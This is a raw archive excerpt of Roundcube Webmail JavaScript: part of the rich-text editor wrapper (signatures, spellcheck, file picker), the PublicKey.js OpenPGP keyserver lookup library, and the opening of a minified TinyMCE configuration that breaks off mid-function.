      ed.plugins.spellchecker.markErrors(data);
    }
    else if (ed = this.spellchecker) {
      ed.prepare(false, true);
      ed.processData(data);
    }
  };

  // get selected (spellchecker) language
  this.get_language = function()
  {
    return rcmail.env.spell_lang;
  };

  // set language for spellchecking
  this.set_language = function(lang)
  {
    var ed = this.editor;

    if (ed) {
      // TODO: this has no effect in recent Tiny versions
      ed.settings.spellchecker_language = lang;
    }
    if (ed = this.spellchecker) {
      ed.setCurrentLanguage(lang);
    }

    rcmail.env.spell_lang = lang;
  };

  // replace selection with text snippet
  // input can be a string or object with 'text' and 'html' properties
  this.replace = function(input)
  {
    var format, ed = this.editor;

    if (!input)
      return false;

    // insert into tinymce editor
    if (ed) {
      ed.getWin().focus(); // correct focus in IE & Chrome

      if ($.type(input) == 'object' && ('html' in input)) {
        input = input.html;
        format = 'html';
      }
      else {
        if ($.type(input) == 'object')
          input = input.text || '';

        input = rcmail.quote_html(input).replace(/\r?\n/g, '<br/>');
        format = 'text';
      }

      ed.selection.setContent(input, {format: format});
    }
    // replace selection in compose textarea
    else if (ed = rcube_find_object(this.id)) {
      var selection = rcmail.get_input_selection(ed),
        value = ed.value,
        pre = value.substring(0, selection.start),
        end = value.substring(selection.end, value.length);

      if ($.type(input) == 'object')
        input = input.text || '';

      // insert response text
      ed.value = pre + input + end;

      // set caret after inserted text
      rcmail.set_caret_pos(ed, selection.start + input.length);
      ed.focus();
    }
  };

  // Fill the editor with specified content
  // TODO: support format conversion
  this.set_content = function(content)
  {
    if (this.editor) {
      this.editor.setContent(content);
      this.editor.getWin().focus();
    }
    else if (ed = rcube_find_object(this.id)) {
      $(ed).val(content).focus();
    }
  };

  // get selected text (if no selection returns all text) from the editor
  this.get_content = function(args)
  {
    var sigstart, ed = this.editor, text = '', strip = false,
      defaults = {refresh: true, selection: false, nosig: false, format: 'html'};

    if (!args)
      args = defaults;
    else
      args = $.extend(defaults, args);

    // apply spellcheck changes if spell checker is active
    if (args.refresh) {
      this.spellcheck_stop();
    }

    // get selected text from tinymce editor
    if (ed) {
      if (args.selection)
        text = ed.selection.getContent({format: args.format});

      if (!text) {
        text = ed.getContent({format: args.format});
        // @todo: strip signature in html mode
        strip = args.format == 'text';
      }
    }
    // get selected text from compose textarea
    else if (ed = rcube_find_object(this.id)) {
      if (args.selection) {
        text = rcmail.get_input_selection(ed).text;
      }

      if (!text) {
        text = ed.value;
        strip = true;
      }
    }

    // strip off signature
    // @todo: make this optional
    if (strip && args.nosig) {
      sigstart = text.indexOf('-- \n');
      if (sigstart > 0) {
        text = text.substring(0, sigstart);
      }
    }

    return text;
  };

  // change user signature text
  this.change_signature = function(id, show_sig)
  {
    var position_element, cursor_pos, p = -1,
      input_message = $('#' + this.id),
      message = input_message.val(),
      sig = rcmail.env.identity;

    if (!this.editor) { // plain text mode
      // remove the 'old' signature
      if (show_sig && sig && rcmail.env.signatures && rcmail.env.signatures[sig]) {
        sig = rcmail.env.signatures[sig].text;
        sig = sig.replace(/\r\n/g, '\n');

        p = rcmail.env.top_posting ? message.indexOf(sig) : message.lastIndexOf(sig);
        if (p >= 0)
          message = message.substring(0, p) + message.substring(p+sig.length, message.length);
      }

      // add the new signature string
      if (show_sig && rcmail.env.signatures && rcmail.env.signatures[id]) {
        sig = rcmail.env.signatures[id].text;
        sig = sig.replace(/\r\n/g, '\n');

        // in place of removed signature
        if (p >= 0) {
          message = message.substring(0, p) + sig + message.substring(p, message.length);
          cursor_pos = p - 1;
        }
        // empty message or new-message mode
        else if (!message || !rcmail.env.compose_mode) {
          cursor_pos = message.length;
          message += '\n\n' + sig;
        }
        else if (rcmail.env.top_posting && !rcmail.env.sig_below) {
          // at cursor position
          if (pos = rcmail.get_caret_pos(input_message.get(0))) {
            message = message.substring(0, pos) + '\n' + sig + '\n\n' + message.substring(pos, message.length);
            cursor_pos = pos;
          }
          // on top
          else {
            message = '\n\n' + sig + '\n\n' + message.replace(/^[\r\n]+/, '');
            cursor_pos = 0;
          }
        }
        else {
          message = message.replace(/[\r\n]+$/, '');
          cursor_pos = !rcmail.env.top_posting && message.length ? message.length + 1 : 0;
          message += '\n\n' + sig;
        }
      }
      else {
        cursor_pos = rcmail.env.top_posting ? 0 : message.length;
      }

      input_message.val(message);

      // move cursor before the signature
      rcmail.set_caret_pos(input_message.get(0), cursor_pos);
    }
    else if (show_sig && rcmail.env.signatures) {  // html
      var sigElem = this.editor.dom.get('_rc_sig');

      // Append the signature as a div within the body
      if (!sigElem) {
        var body = this.editor.getBody();

        sigElem = $('<div id="_rc_sig"></div>').get(0);

        // insert at start or at cursor position in top-posting mode
        // (but not if the content is empty and not in new-message mode)
        if (rcmail.env.top_posting && !rcmail.env.sig_below
          && rcmail.env.compose_mode && (body.childNodes.length > 1 || $(body).text())
        ) {
          this.editor.getWin().focus(); // correct focus in IE & Chrome

          var node = this.editor.selection.getNode();

          $(sigElem).insertBefore(node.nodeName == 'BODY' ? body.firstChild : node.nextSibling);
          $('<p>').append($('<br>')).insertBefore(sigElem);
        }
        else {
          body.appendChild(sigElem);
          position_element = rcmail.env.top_posting && rcmail.env.compose_mode ? body.firstChild : $(sigElem).prev();
        }
      }

      sigElem.innerHTML = rcmail.env.signatures[id] ? rcmail.env.signatures[id].html : '';
    }
    else if (!rcmail.env.top_posting) {
      position_element = $(this.editor.getBody()).children().last();
    }

    // put cursor before signature and scroll the window
    if (this.editor && position_element && position_element.length) {
      this.editor.selection.setCursorLocation(position_element.get(0));
      this.editor.getWin().scroll(0, position_element.offset().top);
    }
  };

  // trigger content save
  this.save = function()
  {
    if (this.editor) {
      this.editor.save();
    }
  };

  // focus the editing area
  this.focus = function()
  {
    (this.editor || rcube_find_object(this.id)).focus();
  };

  // image selector
  this.file_picker_callback = function(callback, value, meta)
  {
    var i, button, elem, cancel, dialog, fn, hint, list = [],
      type = meta.filetype,
      form = $('.upload-form').clone();

    // open image selector dialog
    this.editor.windowManager.open({
      title: rcmail.get_label('select' + type),
      body: {
        type: 'panel',
        items: [{
          type: 'htmlpanel',
          html: '<div id="image-selector" class="image-selector file-upload"><ul id="image-selector-list" class="attachmentslist"></ul></div>',
        }]
      },
      buttons: [{type: 'cancel', text: rcmail.get_label('close'), onclick: function() { ref.file_picker_close(); }}]
    });

    rcmail.env.file_picker_callback = callback;
    rcmail.env.file_picker_type = type;

    dialog = $('#image-selector');

    if (!form.length)
      form = this.file_upload_form(rcmail.gui_objects.uploadform);
    else
      form.find('button,a.button').slice(1).remove(); // need only the first button

    button = dialog.prepend(form).find('button,a.button')
      .text(rcmail.get_label('add' + type))
      .focus();

    if (!button.is('.btn'))
      button.addClass('tox-button');

    // fill images list with available images
    for (i in rcmail.env.attachments) {
      if (elem = ref.file_picker_entry(i, rcmail.env.attachments[i])) {
        list.push(elem);
      }
    }

    cancel = dialog.parents('.tox-dialog').find('button').last();

    // Add custom Tab key handlers, tabindex does not work
    list = $('#image-selector-list').append(list).on('keydown', 'li', function(e) {
        if (e.which == 9) {
          if (rcube_event.get_modifier(e) == SHIFT_KEY) {
            if (!$(this).prev().focus().length) {
              button.focus();
            }
          }
          else if (!$(this).next().focus().length) {
            cancel.focus();
          }

          return false;
        }
      });

    button.keydown(function(e) {
      if (e.which == 9) { // Tab
        if (rcube_event.get_modifier(e) == SHIFT_KEY || !list.find('li').first().focus().length) {
          cancel.focus();
        }

        return false;
      }

      if (e.which == 13) { // Enter
        this.click();
      }
    });

    cancel.keydown(function(e) {
      if (e.which == 9) {
        if (rcube_event.get_modifier(e) != SHIFT_KEY || !list.find('li').last().focus().length) {
          button.focus();
        }

        return false;
      }
    });

    // enable drag-n-drop area
    if (window.FormData) {
      if (!rcmail.env.filedrop) {
        rcmail.env.filedrop = {};
      }
      if (rcmail.gui_objects.filedrop) {
        rcmail.env.old_file_drop = rcmail.gui_objects.filedrop;
      }

      rcmail.gui_objects.filedrop = $('#image-selector');
      rcmail.gui_objects.filedrop.addClass('droptarget')
        .on('dragover dragleave', function(e) {
          e.preventDefault();
          e.stopPropagation();
          $(this)[(e.type == 'dragover' ? 'addClass' : 'removeClass')]('hover');
        })
        .get(0).addEventListener('drop', function(e) { return rcmail.file_dropped(e); }, false);
    }

    // register handler for successful file upload
    if (!rcmail.env['file_dialog_event_' + type]) {
      rcmail.env['file_dialog_event+' + type] = true;
      rcmail.addEventListener('fileuploaded', function(attr) {
        var elem;
        if (elem = ref.file_picker_entry(attr.name, attr.attachment)) {
          list.prepend(elem);
          elem.focus();
        }
      });
    }

    // @todo: upload progress indicator
  };

  // close file browser window
  this.file_picker_close = function(url)
  {
    this.editor.windowManager.close();

    if (url)
      rcmail.env.file_picker_callback(url);

    if (rcmail.env.old_file_drop)
      rcmail.gui_objects.filedrop = rcmail.env.old_file_drop;
  };

  // creates file browser entry
  this.file_picker_entry = function(file_id, file)
  {
    if (!file.complete || !file.mimetype) {
      return;
    }

    if (rcmail.file_upload_id) {
      rcmail.set_busy(false, null, rcmail.file_upload_id);
    }

    var rx, img_src;

    switch (rcmail.env.file_picker_type) {
      case 'image':
        rx = /^image\//i;
        break;

      case 'media':
        rx = /^video\//i;
        img_src = rcmail.assets_path('program/resources/tinymce/video.png');
        break;

      default:
        return;
    }

    if (rx.test(file.mimetype)) {
      var path = rcmail.env.comm_path + '&_from=' + rcmail.env.action,
        action = rcmail.env.compose_id ? '&_id=' + rcmail.env.compose_id + '&_action=display-attachment' : '&_action=upload-display',
        href = path + action + '&_file=' + file_id,
        img = $('<img>').attr({title: file.name, src: img_src ? img_src : href + '&_thumbnail=1'});

      return $('<li>').attr({tabindex: 0})
        .data('url', href)
        .append($('<span class="img">').append(img))
        .append($('<span class="name">').text(file.name))
        .click(function() { ref.file_picker_close($(this).data('url')); })
        .keydown(function(e) {
          if (e.which == 13) {
            ref.file_picker_close($(this).data('url'));
          }
        });
    }
  };

  this.file_upload_form = function(clone_form)
  {
    var hint = clone_form ? $(clone_form).find('.hint').text() : '',
      form = $('<form id="imageuploadform">').attr({method: 'post', enctype: 'multipart/form-data'});
      file = $('<input>').attr({name: '_file[]', type: 'file', multiple: true, style: 'opacity:0;height:1px;width:1px'})
        .change(function() { rcmail.upload_file(form, 'upload'); }),
      wrapper = $('<div class="upload-form">')
        .append($('<button>').attr({'class': 'btn btn-secondary attach', href: '#', onclick: "rcmail.upload_input('imageuploadform')"}));

    if (hint)
      wrapper.prepend($('<div class="hint">').text(hint));

    // clone existing upload form
    if (clone_form) {
      file.attr('name', $('input[type="file"]', clone_form).attr('name'));
      form.attr('action', $(clone_form).attr('action'));
    }

    form.append(file).append($('<input>').attr({type: 'hidden', name: '_token', value: rcmail.env.request_token}));

    return wrapper.append(form);
  };
}
PK
h�\�N�OOprogram/js/publickey.jsnu�[���/**
 * PublicKey.js - v0e011cb1
 *
 * @source https://github.com/diafygi/publickeyjs/blob/master/publickey.js
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) 2015 Daniel Roesler
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
"use strict";

(function(context){
    /*
        Default keyservers (HTTPS and CORS enabled)
    */
    var DEFAULT_KEYSERVERS = [
        "https://keys.fedoraproject.org/",
        "https://keybase.io/",
    ];

    /*
        Initialization to create an PublicKey object.

        Arguments:

        * keyservers - Array of keyserver domains, default is:
            ["https://keys.fedoraproject.org/", "https://keybase.io/"]

        Examples:

        //Initialize with the default keyservers
        var hkp = new PublicKey();

        //Initialize only with a specific keyserver
        var hkp = new PublicKey(["https://key.ip6.li/"]);
    */
    var PublicKey = function(keyservers){
        this.keyservers = keyservers || DEFAULT_KEYSERVERS;
    };

    /*
        Get a public key from any keyserver based on keyId.

        Arguments:

        * keyId - String key id of the public key (this is usually a fingerprint)

        * callback - Function that is called when finished. Two arguments are
                passed to the callback: publicKey and errorCode. publicKey is
                an ASCII armored OpenPGP public key. errorCode is the error code
                (either HTTP status code or keybase error code) returned by the
                last keyserver that was tried. If a publicKey was found,
                errorCode is null. If no publicKey was found, publicKey is null
                and errorCode is not null.

        Examples:

        //Get a valid public key
        var hkp = new PublicKey();
        hkp.get("F75BE4E6EF6E9DD203679E94E7F6FAD172EFEE3D", function(publicKey, errorCode){
            errorCode !== null ? console.log(errorCode) : console.log(publicKey);
        });

        //Try to get an invalid public key
        var hkp = new PublicKey();
        hkp.get("bogus_id", function(publicKey, errorCode){
            errorCode !== null ? console.log(errorCode) : console.log(publicKey);
        });
    */
    PublicKey.prototype.get = function(keyId, callback, keyserverIndex, err){
        //default starting point is at the first keyserver
        if(keyserverIndex === undefined){
            keyserverIndex = 0;
        }

        //no more keyservers to check, so no key found
        if(keyserverIndex >= this.keyservers.length){
            return callback(null, err || 404);
        }

        //set the keyserver to try next
        var ks = this.keyservers[keyserverIndex];
        var _this = this;

        //special case for keybase
        if(ks.indexOf("https://keybase.io/") === 0){

            //don't need 0x prefix for keybase searches
            if(keyId.indexOf("0x") === 0){
                keyId = keyId.substr(2);
            }

            //request the public key from keybase
            var xhr = new XMLHttpRequest();
            xhr.open("get", "https://keybase.io/_/api/1.0/user/lookup.json" +
                "?fields=public_keys&key_fingerprint=" + keyId);
            xhr.onload = function(){
                if(xhr.status === 200){
                    var result = JSON.parse(xhr.responseText);

                    //keybase error returns HTTP 200 status, which is silly
                    if(result['status']['code'] !== 0){
                        return _this.get(keyId, callback, keyserverIndex + 1, result['status']['code']);
                    }

                    //no public key found
                    if(result['them'].length === 0){
                        return _this.get(keyId, callback, keyserverIndex + 1, 404);
                    }

                    //found the public key
                    var publicKey = result['them'][0]['public_keys']['primary']['bundle'];
                    return callback(publicKey, null);
                }
                else{
                    return _this.get(keyId, callback, keyserverIndex + 1, xhr.status);
                }
            };
            xhr.send();
        }

        //normal HKP keyserver
        else{
            //add the 0x prefix if absent
            if(keyId.indexOf("0x") !== 0){
                keyId = "0x" + keyId;
            }

            //request the public key from the hkp server
            var xhr = new XMLHttpRequest();
            xhr.open("get", ks + "pks/lookup?op=get&options=mr&search=" + keyId);
            xhr.onload = function(){
                if(xhr.status === 200){
                    return callback(xhr.responseText, null);
                }
                else{
                    return _this.get(keyId, callback, keyserverIndex + 1, xhr.status);
                }
            };
            xhr.send();
        }
    };

    /*
        Search for a public key in the keyservers.

        Arguments:

        * query - String to search for (usually an email, name, or username).

        * callback - Function that is called when finished. Two arguments are
                passed to the callback: results and errorCode. results is an
                Array of users that were returned by the search. errorCode is
                the error code (either HTTP status code or keybase error code)
                returned by the last keyserver that was tried. If any results
                were found, errorCode is null. If no results are found, results
                is null and errorCode is not null.

        Examples:

        //Search for diafygi's key id
        var hkp = new PublicKey();
        hkp.search("diafygi", function(results, errorCode){
            errorCode !== null ? console.log(errorCode) : console.log(results);
        });

        //Search for a nonexistent key id
        var hkp = new PublicKey();
        hkp.search("doesntexist123", function(results, errorCode){
            errorCode !== null ? console.log(errorCode) : console.log(results);
        });
    */
    PublicKey.prototype.search = function(query, callback, keyserverIndex, results, err){
        //default starting point is at the first keyserver
        if(keyserverIndex === undefined){
            keyserverIndex = 0;
        }

        //initialize the results array
        if(results === undefined){
            results = [];
        }

        //no more keyservers to check
        if(keyserverIndex >= this.keyservers.length){

            //return error if no results
            if(results.length === 0){
                return callback(null, err || 404);
            }

            //return results
            else{

                //merge duplicates
                var merged = {};
                for(var i = 0; i < results.length; i++){
                    var k = results[i];

                    //see if there's duplicate key ids to merge
                    if(merged[k['keyid']] !== undefined){

                        for(var u = 0; u < k['uids'].length; u++){
                            var has_this_uid = false;

                            for(var m = 0; m < merged[k['keyid']]['uids'].length; m++){
                                if(merged[k['keyid']]['uids'][m]['uid'] === k['uids'][u]){
                                    has_this_uid = true;
                                    break;
                                }
                            }

                            if(!has_this_uid){
                                merged[k['keyid']]['uids'].push(k['uids'][u])
                            }
                        }
                    }

                    //no duplicate found, so add it to the dict
                    else{
                        merged[k['keyid']] = k;
                    }
                }

                //return a list of the merged results in the same order
                var merged_list = [];
                for(var i = 0; i < results.length; i++){
                    var k = results[i];
                    if(merged[k['keyid']] !== undefined){
                        merged_list.push(merged[k['keyid']]);
                        delete(merged[k['keyid']]);
                    }
                }
                return callback(merged_list, null);
            }
        }

        //set the keyserver to try next
        var ks = this.keyservers[keyserverIndex];
        var _this = this;

        //special case for keybase
        if(ks.indexOf("https://keybase.io/") === 0){

            //request a list of users from keybase
            var xhr = new XMLHttpRequest();
            xhr.open("get", "https://keybase.io/_/api/1.0/user/autocomplete.json?q=" + encodeURIComponent(query));
            xhr.onload = function(){
                if(xhr.status === 200){
                    var kb_json = JSON.parse(xhr.responseText);

                    //keybase error returns HTTP 200 status, which is silly
                    if(kb_json['status']['code'] !== 0){
                        return _this.search(query, callback, keyserverIndex + 1, results, kb_json['status']['code']);
                    }

                    //no public key found
                    if(kb_json['completions'].length === 0){
                        return _this.search(query, callback, keyserverIndex + 1, results, 404);
                    }

                    //compose keybase user results
                    var kb_results = [];
                    for(var i = 0; i < kb_json['completions'].length; i++){
                        var user = kb_json['completions'][i]['components'];

                        //skip if no public key fingerprint
                        if(user['key_fingerprint'] === undefined){
                            continue;
                        }

                        //build keybase user result
                        var kb_result = {
                            "keyid": user['key_fingerprint']['val'].toUpperCase(),
                            "href": "https://keybase.io/" + user['username']['val'] + "/key.asc",
                            "info": "https://keybase.io/" + user['username']['val'],
                            "algo": user['key_fingerprint']['algo'],
                            "keylen": user['key_fingerprint']['nbits'],
                            "creationdate": null,
                            "expirationdate": null,
                            "revoked": false,
                            "disabled": false,
                            "expired": false,
                            "uids": [{
                                "uid": user['username']['val'] +
                                    " on Keybase <https://keybase.io/" +
                                    user['username']['val'] + ">",
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            }]
                        };

                        //add full name
                        if(user['full_name'] !== undefined){
                            kb_result['uids'].push({
                                "uid": "Full Name: " + user['full_name']['val'],
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            });
                        }

                        //add twitter
                        if(user['twitter'] !== undefined){
                            kb_result['uids'].push({
                                "uid": user['twitter']['val'] +
                                    " on Twitter <https://twitter.com/" +
                                    user['twitter']['val'] + ">",
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            });
                        }

                        //add github
                        if(user['github'] !== undefined){
                            kb_result['uids'].push({
                                "uid": user['github']['val'] +
                                    " on Github <https://github.com/" +
                                    user['github']['val'] + ">",
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            });
                        }

                        //add reddit
                        if(user['reddit'] !== undefined){
                            kb_result['uids'].push({
                                "uid": user['reddit']['val'] +
                                    " on Github <https://reddit.com/u/" +
                                    user['reddit']['val'] + ">",
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            });
                        }

                        //add hackernews
                        if(user['hackernews'] !== undefined){
                            kb_result['uids'].push({
                                "uid": user['hackernews']['val'] +
                                    " on Hacker News <https://news.ycombinator.com/user?id=" +
                                    user['hackernews']['val'] + ">",
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            });
                        }

                        //add coinbase
                        if(user['coinbase'] !== undefined){
                            kb_result['uids'].push({
                                "uid": user['coinbase']['val'] +
                                    " on Coinbase <https://www.coinbase.com/" +
                                    user['coinbase']['val'] + ">",
                                "creationdate": null,
                                "expirationdate": null,
                                "revoked": false,
                                "disabled": false,
                                "expired": false,
                            });
                        }

                        //add websites
                        if(user['websites'] !== undefined){
                            for(var w = 0; w < user['websites'].length; w++){
                                kb_result['uids'].push({
                                    "uid": "Owns " + user['websites'][w]['val'],
                                    "creationdate": null,
                                    "expirationdate": null,
                                    "revoked": false,
                                    "disabled": false,
                                    "expired": false,
                                });
                            }
                        }

                        kb_results.push(kb_result);
                    }

                    results = results.concat(kb_results);
                    return _this.search(query, callback, keyserverIndex + 1, results, null);
                }
                else{
                    return _this.search(query, callback, keyserverIndex + 1, results, xhr.status);
                }
            };
            xhr.send();
        }

        //normal HKP keyserver
        else{
            var xhr = new XMLHttpRequest();
            xhr.open("get", ks + "pks/lookup?op=index&options=mr&fingerprint=on&search=" + encodeURIComponent(query));
            xhr.onload = function(){
                if(xhr.status === 200){
                    var ks_results = [];
                    var raw = xhr.responseText.split("\n");
                    var curKey = undefined;
                    for(var i = 0; i < raw.length; i++){
                        var line = raw[i].trim();

                        //pub:<keyid>:<algo>:<keylen>:<creationdate>:<expirationdate>:<flags>
                        if(line.indexOf("pub:") == 0){
                            if(curKey !== undefined){
                                ks_results.push(curKey);
                            }
                            var vals = line.split(":");
                            curKey = {
                                "keyid": vals[1],
                                "href": ks + "pks/lookup?op=get&options=mr&search=0x" + vals[1],
                                "info": ks + "pks/lookup?op=vindex&search=0x" + vals[1],
                                "algo": vals[2] === "" ? null : parseInt(vals[2]),
                                "keylen": vals[3] === "" ? null : parseInt(vals[3]),
                                "creationdate": vals[4] === "" ? null : parseInt(vals[4]),
                                "expirationdate": vals[5] === "" ? null : parseInt(vals[5]),
                                "revoked": vals[6].indexOf("r") !== -1,
                                "disabled": vals[6].indexOf("d") !== -1,
                                "expired": vals[6].indexOf("e") !== -1,
                                "uids": [],
                            }
                        }

                        //uid:<escaped uid string>:<creationdate>:<expirationdate>:<flags>
                        if(line.indexOf("uid:") == 0){
                            var vals = line.split(":");
                            curKey['uids'].push({
                                "uid": decodeURIComponent(vals[1]),
                                "creationdate": vals[2] === "" ? null : parseInt(vals[2]),
                                "expirationdate": vals[3] === "" ? null : parseInt(vals[3]),
                                "revoked": vals[4].indexOf("r") !== -1,
                                "disabled": vals[4].indexOf("d") !== -1,
                                "expired": vals[4].indexOf("e") !== -1,
                            });
                        }
                    }
                    ks_results.push(curKey);

                    results = results.concat(ks_results);
                    return _this.search(query, callback, keyserverIndex + 1, results, null);
                }
                else{
                    return _this.search(query, callback, keyserverIndex + 1, results, xhr.status);
                }
            };
            xhr.send();
        }
    };

    context.PublicKey = PublicKey;
})(typeof exports === "undefined" ? this : exports);
PK
h�\��9�9program/js/editor.min.jsnu�[���/**
 * Roundcube editor js library
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 *
 * @author Eric Stadtherr <estadtherr@gmail.com>
 * @author Aleksander Machniak <alec@alec.pl>
 */
function rcube_text_editor(e,t){var o=this,l=$("#"+t),i=location.href.replace(/[?#].*$/,"").replace(/\/$/,""),r={selector:"#"+(l.is(".mce_editor")?t:"fake-editor-id"),readonly:l.is("[readonly],[disabled]"),cache_suffix:"s=5080200",theme:"silver",language:e.lang,content_css:rcmail.assets_path(e.content_css),content_style:e.content_style,menubar:!1,statusbar:!1,toolbar_drawer:"sliding",toolbar:"bold italic underline | alignleft aligncenter alignright alignjustify | fontselect fontsizeselect | forecolor backcolor",extended_valid_elements:"font[face|size|color|style],span[id|class|align|style]",fontsize_formats:"8pt 9pt 10pt 11pt 12pt 14pt 18pt 24pt 36pt",valid_children:"+body[style],+blockquote[style],+div[style]",relative_urls:!1,remove_script_host:!1,convert_urls:!1,image_description:!1,paste_webkit_styles:"color font-size font-family font-weight background-color",automatic_uploads:!1,paste_data_images:!0,browser_spellcheck:!0,contextmenu:"spellchecker",anchor_bottom:!1,anchor_top:!1,file_picker_types:"image media",file_picker_callback:function(e,t,i){o.file_picker_callback(e,t,i)},min_height:"identity"==e.mode?100:400,deprecation_warnings:!1};this.spellcheck_observer=function(){},e.spellchecker&&(this.spellchecker=e.spellchecker,e.spellcheck_observer)&&(this.spellchecker.spelling_state_observer=this.spellcheck_observer=e.spellcheck_observer),tinymce.registered_request_token||(tinymce.registered_request_token=!0,tinymce.util.XHR.on("beforeSend",function(e){e.xhr.setRequestHeader("X-Roundcube-Request",rcmail.env.request_token),e.settings&&e.settings.data&&(e.settings.data=e.settings.data.replace(/^(method=[a-zA-Z]+&lang=)([^&]+)/,"$1"+rcmail.env.spell_lang))})),"identity"==e.mode||"response"==e.mode?(r.toolbar+=" | charmap hr link unlink image code $extra",$.extend(r,{plugins:"autolink charmap code hr image link paste tabfocus",file_picker_types:"image"})):(r.toolbar+=" | bullist numlist outdent indent ltr rtl blockquote | link unlink table | $extra charmap image media | code searchreplace undo redo",$.extend(r,{plugins:"autolink charmap code directionality link lists image media nonbreaking paste table tabfocus searchreplace spellchecker",spellchecker_rpc_url:i+"/?_task=utils&_action=spell_html&_remote=1",spellchecker_language:rcmail.env.spell_lang})),$.each(e.extra_plugins||[],function(){r.plugins.indexOf(this)<0&&(r.plugins=r.plugins+" "+this)}),$.each(e.extra_buttons||[],function(){r.toolbar.indexOf(this)<0&&(r.toolbar=r.toolbar.replace("$extra","$extra "+this))}),$.each(e.disabled_plugins||[],function(){r.plugins=r.plugins.replace(this,"")}),$.each(e.disabled_buttons||[],function(){r.toolbar=r.toolbar.replace(this,"")}),r.toolbar=r.toolbar.replace("$extra","").replace(/\|\s+\|/g,"|"),window.rcmail_editor_settings&&$.extend(r,window.rcmail_editor_settings),r.setup=function(t){t.on("init",function(){o.init_callback(t)}),t.on("SpellcheckStart SpellcheckEnd",function(e){o.spellcheck_active="spellcheckstart"==e.type,o.spellcheck_observer()}),t.on("keypress",function(){rcmail.compose_type_activity++}),t.on("click",function(e){var t=$(e.target).closest("a");if(t.length&&e.shiftKey)return window.open(t.get(0).href,"_blank"),!1}),t.on("focus blur",function(e){$(t.getContainer()).toggleClass("focused")}),r.setup_callback&&r.setup_callback(t)},rcmail.triggerEvent("editor-init",{config:r,ref:o,id:t}),this.id=t,this.editor=null,tinymce.init(r),this.init_callback=function(e){this.editor=e;var t=l.data("html-editor-content-element");if(t&&(i=$("#"+t).val())&&(e.setContent(i),$("#"+t).remove()),"compose"==rcmail.env.action){var i=$("#"+this.id),t=$("div.tox-toolbar__group",i.parent()).first().height();if(200<t||t>i.height())return setTimeout(function(){o.init_callback(e)},300);var t=rcube_find_object("_from"),n=rcmail.env.compose_focus_elem;t&&"select-one"==t.type&&(rcmail.env.identities_initialized||rcmail.change_identity(t),n)&&n.id!=this.id&&"BODY"!=n.nodeName&&(window.focus(),n.focus(),rcmail.env.compose_focus_elem=null)}rcmail.triggerEvent("editor-load",{config:r,ref:this}),this.tabindex(this.force_focus||n&&n.id==this.id),$(window).resize()},this.tabindex=function(e){var i,t,n;"mail"==rcmail.env.task&&this.editor&&(n=this.editor.getElement(),t=this.editor.getContentAreaContainer().childNodes[0],n&&t&&(t.tabIndex=n.tabIndex),0<n.tabIndex&&(i=null,t=[":prev",":next"],n=tinymce.DOM.select("*[tabindex="+n.tabIndex+"]:not(iframe)"),tinymce.each(n,function(e,t){if(e.id==o.id)return i=t,!1}),null!==i)&&(n[i-1]&&n[i-1].id&&(t[0]=n[i-1].id),n[i+1]&&n[i+1].id&&(t[1]=n[i+1].id),this.editor.settings.tabfocus_elements=t.join(",")),bw.mz)&&bw.vendver<25&&$(this.editor.getBody()).prop("contenteditable",!1).prop("contenteditable",!0),e&&this.focus()},this.focus=function(){$(this.editor||"#"+this.id).focus(),this.force_focus=!1},this.is_html=function(){return!!this.editor},this.toggle=function(e,t){var i,n,l,r="",s=$("#"+this.id),c=rcmail.env.identity?rcmail.env.signatures[rcmail.env.identity]:null,a=c&&c.text&&1<c.text.length;return this.spellcheck_stop(),e?(l=s.val(),a&&(l=(l=l.replace(/\r\n/,"\n")).replace(c.text.replace(/\r\n/,"\n"),r)),e=function(e){a&&(e=e.replace(r,'<div id="_rc_sig">'+c.html+"</div>")),o.force_focus=!0,s.val(e),tinymce.execCommand("mceAddEditor",!1,o.id)},n=t?(e(l),!0):rcmail.plain2html(l,e)):!this.editor||(a&&(i=(i=this.editor.dom.get("_rc_sig"))&&i.innerHTML,this.editor.dom.setHTML("_rc_sig",r)),l=this.editor.getContent(),e=function(e){tinymce.execCommand("mceRemoveEditor",!1,o.id),o.editor=null,a&&(e=e.replace(r,"\n"+c.text)),s.val(e).focus().trigger("input"),rcmail.set_caret_pos(s.get(0),0)},n=t?(e(s.val()),!0):rcmail.html2plain(l,e))||!i||this.editor.dom.setHTML("_rc_sig",i),n},this.spellcheck_start=function(){this.editor?(tinymce.execCommand("mceSpellCheck",!0),this.spellcheck_observer()):this.spellchecker&&this.spellchecker.spellCheck&&this.spellchecker.spellCheck()},this.spellcheck_stop=function(){var 